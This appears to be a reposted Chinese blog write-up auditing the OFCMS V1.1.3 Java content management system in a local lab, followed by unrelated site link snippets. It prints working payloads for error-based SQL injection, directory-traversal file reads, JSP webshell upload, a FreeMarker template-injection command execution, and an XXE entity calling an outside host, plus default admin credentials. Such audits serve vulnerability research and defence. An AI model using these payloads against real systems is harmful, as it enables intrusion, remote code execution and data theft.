【JAVA代码审计】记一次某java类的cms最最最详细的代码审计

news/2024/12/26 20:25:35/文章来源:https://www.cnblogs.com/o-O-oO/p/18634136

前言

刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址

https://gitee.com/oufu/ofcms/tree/V1.1.3/

tomcat下载地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip

这里我选择8.5.78

一、环境搭建

idea
ofcms V1.1.3
tomcat 8.5

idea直接创建新建项目,自动导入xml文件,配置启动服务器

导入sql文件

mysql -uroot -pxxxxxxx
use ofcms
source /路径.ofcms-v1.1.3.sql

show tables;

这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题

配置端口

启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties

更改所有utf8的格式为GBK

配置maven,整一个恶心的想吐

<mirror><id>alimaven</id><mirrorOf>central</mirrorOf><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/repositories/central/</url></mirror>

重建项目

启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。

首页地址: localhost:8099/ofcms_admin

后台地址:localhost:8099/ofcms_admin/admin/login.html

admin/123456

二、审计分析

2.1 SQL注入

文件结构目录

因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,

因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页

出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,

直接触发增加用户接口

其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入

在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。

但是这里没有测试存在注入点儿,注入点存在于代码生成->新增

手动测试有回显sql=1'

猜测可能存在报错注入,构造payload

update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2

\ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析

47行,F7跟进

返回的sql参数的内容未作任何过滤,48行F7跟进

98行跟进update方法

256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root

2.2 存储型XSS

分析代码,

所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。

2.3 任意文件读取

查看文件模板,模板文件连接如下

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/

可控参数dir,payload如下

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/

控制字段file_name读取文件

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib

漏洞分析

查看模板文件的时候,传入的dir参数以及updir的参数都为空

这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename

根据debug分析,当传入的payload

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../

测试根据断点看出,我们传入的参数dir为../

在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录

读取通过循环遍历使用文件名读取

在调试的时候发现,我们访问目录。这里访问comn

在控制层TemplateController内调用函数getSiteTemplatePath()

F7跟进,在类file.java中对路径进行了直接拼接

所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下

?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn

2.4 文件上传实现webshell

刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的

尝试构造数据包

此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html

验证是可以写入的,那么直接写入jsp木马实现webshell

最后一个断点执行结束,此时shell已成功写入

http://localhost:8099/ofcms_admin/static/1.jsp

2.5 SSTI模板注入

同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容

f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容

继续F7跟进函数

这里直接对string进行了编码

payload

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

访问

http://localhost:8099/ofcms_admin/about.html

所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章

http://t.zoukankan.com/Eleven-Liu-p-12747908.html

很清晰

2.6 XXE漏洞

直接分析漏洞代码下断点

ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java

前端功能模块导出

定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中。

使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload

POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSEfile_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e

文件内容的payload

<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>

直接访问

http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe

漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml

先调用getParamsMap 方法

而后调用JasperCompileManager.compileReport() 方法

F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。
总结

抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。

​> 原创 Ggoodstudy 蚁景网络安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/859435.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

12.26日每日总结

昨天在调试51单片机的串口时,发现芯片手册上有一句话,在使用定时器1产生串口的波特率时,定时器1就不能使能了。不是不能用,是直接不让使能了,使能后会出错,导致发送的数据不稳定。 今天继续研究了触摸滑条,发现滑条输出的值为从小到大,如下图所示的样子,这就导致从最上…

Minio使用教程

Minio MinIO 是一个高性能的对象存储服务器,用于构建云存储解决方案。它使用Golang编写,专为私有云、公有云和混合云环境设计。它是兼容Amazon S3 API的,并可以作为一个独立的存储后端或与其他流行的开源解决方案(如Kubernetes)集成。 MinIO 允许你存储非结构化数据(如图…

人工智能基础导论

人工智能基础导论 绪论 人工智能的主要流派符号主义(逻辑主义) 连接主义(仿生学派) 行为主义(控制论)符号主义:数理逻辑→逻辑演绎系统→启发式算法→专家系统→知识工程理论与技术(主流)缺点:符号主义的核心是知识表示,那么对于像感知、形象思维、模式识别等问题,…

搭建 npm 私服

背景 准备搭建一个自己的网站,放些平时练手的 demo,如果是不同项目,想要保持风格一致,或是要用到一些工具方法,就要在每个项目复制一份,不是很好维护,于是就想要搭建一个自己的 npm 私服 安装 verdaccio 1 安装 verdaccio,这是一个开源的私有 npm 注册中心,要注意的是…

C# WPF PrintDialog 打印(2)

前面https://www.cnblogs.com/yinyu5/p/18633910使用PrintVisual方法只打印了可见部分的元素,所以这里改为使用PrintDocument方法来进行打印。 需要引用System.Printing.dll 界面代码:1 <Window x:Class="WpfApp123.MainWindow"2 xmlns="http://sc…

Redis可视化工具推荐:Another Redis Desktop Manager使用教程与下载

Redis是一种高性能的Key-Value数据库,被广泛应用于缓存、消息队列等场景。尽管Redis的命令行工具功能强大,但对于许多开发者而言,使用一款可视化工具可以大大提高操作效率和用户体验。今天为大家推荐一款功能强大的Redis可视化工具——Another Redis Desktop Manager,并提供…

RISC-V篇-VSCode+qemu+gdb可视化调试Linux Kernel

https://zhuanlan.zhihu.com/p/4185359719本文发布于微信公众号:Linux底层小工,欢迎关注,获取更多原创技术文章! “VSCode+qemu+gdb调试OpenSBI确实很爽,那怎能少了调试kernel呢~~” 01 VScode调试MMU开启之前的kernel 有了调试OpenSBI的基础,再调试kernel,那设置相当简…

中考阅读理解深入逻辑分析-006 A Streams Journey to the Sea 一条小溪通往大海的旅程

文章正文 A little stream ran down from a high mountain far, far away through many villages and forests, until it reached a desert. The stream then thought,“I’ve been through countless difficulties. I should have no problem crossing the desert!”But as sh…

2024-2025-1 20241322 《计算机基础与程序设计》第十四周学习总结

2024-2025-1 20241322 《计算机基础与程序设计》第十四周学习总结 作业信息这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK14这个作业的目标 自学教材《C语言程序设计》…

Chrome 或引入 Gemini AI 功能「Glic」,需访问麦克风;理想同学 App 即将上线支持语音交流、识物

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

洛谷题单指南-线段树的进阶用法-P3834 【模板】可持久化线段树 2

原题链接:https://www.luogu.com.cn/problem/P3834 题意解读:静态区间第k小问题,可持久化线段树(也称为主席树)模版题。 解题思路: 一、朴素想法:如何求完整区间[1,n]第k小 1、权值线段树 设n个数构成序列a,b数组代表a中元素出现的次数,即b数组的构建方式为对每一个a[…

FTP一键安装脚本(linux版)

简述:linux版权限可能会不容易理解,可参考windwos做为基础。一、FTP(linux版) 1. ftp详解 简介: vsftpd 是“very secure FTP daemon”的缩写,安全性是它的一个最大的特点。 vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux、BSD、Solaris、…